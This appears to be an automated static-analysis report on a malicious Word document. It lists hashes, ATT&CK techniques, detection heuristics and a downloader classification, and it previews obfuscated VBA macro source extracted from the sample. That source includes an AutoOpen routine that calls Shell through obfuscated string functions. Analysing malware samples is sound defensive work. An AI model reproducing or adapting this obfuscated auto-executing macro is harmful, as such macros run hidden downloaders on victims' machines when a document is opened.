Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a212916b4767564…

MALICIOUS

Office (OLE)

93.0 KB Created: 2018-09-20 04:27:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: add573d294225f7a3490cac530c85c17 SHA-1: b400323dcdeb58dcfc55ac0c4d23305c38ee6cf4 SHA-256: 0a212916b4767564de4a7b5ae348c56b4d9c5a799723e901352280a3e8d64761
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen execution marker. The macro is designed to execute a command, likely to download and run a second-stage payload, as indicated by the 'Shell' execution token and the ClamAV detection name 'Doc.Downloader.Valyria-6713303-0'. The obfuscated nature of the VBA code prevents a more detailed analysis of the exact payload or download URL.

Heuristics 6

  • ClamAV: Doc.Downloader.Valyria-6713303-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6713303-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17673 bytes
SHA-256: 74d9f0a95dba3cb48ed512a3b0e07f6eafd72fbb307b8f264dad8b09800ac9d6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MrEwmRHqNcULa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const abiVFfRfB = 0
   Dim MvSLz(3)
MvSLz(0) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930)
MvSLz(1) = Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751)
MvSLz(2) = Right(pRKLj, 308) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Right(pRKLj, 308)
   Dim TOWRtS(3)
TOWRtS(0) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + Right(pRKLj, 308) + Right(pRKLj, 308)
TOWRtS(1) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308)
TOWRtS(2) = Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751)
   Dim OKVPpt(3)
OKVPpt(0) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308)
OKVPpt(1) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930)
OKVPpt(2) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930)
   Dim KwEfY(2)
KwEfY(0) = MidB(OTCFSPSh, 103, 751) + Right(pRKLj, 308)
KwEfY(1) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751)
   Dim wGvqP(3)
wGvqP(0) = Right(pRKLj, 308) + Right(pRKLj, 308) + Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706)
wGvqP(1) = MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751)
wGvqP(2) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930)
   Dim YiGOX(2)
YiGOX(0) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706)
YiGOX(1) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308)
   Dim zLsld(2)
zLsld(0) = Right(pRKLj, 308) + Left(MfsbvGwV, 930)
zLsld(1) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706)
   Dim JQoIwM(3)
JQoIwM(0) = Right(pRKLj, 308) + Right(pRKLj, 308) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706)
JQoIwM(1) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751)
JQoIwM(2) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706)
Shell@ wwmDvYwfi + wkmGKrQj + oarHsYzjjz + ASVjIrviWJK, abiVFfRfB
   Dim NAFKjz(4)
NAFKjz(0) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930)
NAFKjz(1) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706)
NAFKjz(2) = Right(pRKLj, 308) + Left(MfsbvGwV, 930)
NAFKjz(3) = Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930)
   Dim FRnjj(4)
FRnjj(0) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751)
FRnjj(1) = Left(MfsbvGwV, 930) + Right(pRKLj, 308) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751)
FRnjj(2) = Left(MfsbvGwV, 930) + Right(pRKLj, 308)
FRnjj(3) = Right(pRKLj, 308) + Left(MfsbvGwV, 930)
   Dim LMFjkF(3)
LMFjkF(0) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930)
LMFjkF(1) = Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706)
LMFjkF(2) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930)
End Sub


Attribute VB_Name = "SbpVUcCiQDifYu"
Function wwmDvYwfi()
Dim YYXtdo(5)
YYXtdo(0) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930)
YYXtdo(1) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308)
YYXtdo(2) = MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751)
YYXtdo(3) = Left(MfsbvGwV, 930) + Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751) + Right(pRKLj, 308)
YYXtdo(4) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930)
   Dim bXSdJQ(4)
bXSdJQ(0) = Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751)
bXSdJQ(1) = Right(pRKLj, 308) + Right(pRKLj, 308)
bXSdJQ(2) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308)
bXSdJQ(3) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308)
   Dim Btubo(2)
Btubo(0) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706)
Btubo(1) = Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751)
   Dim laQjL(5)
laQjL(0) = Mi
... (truncated)

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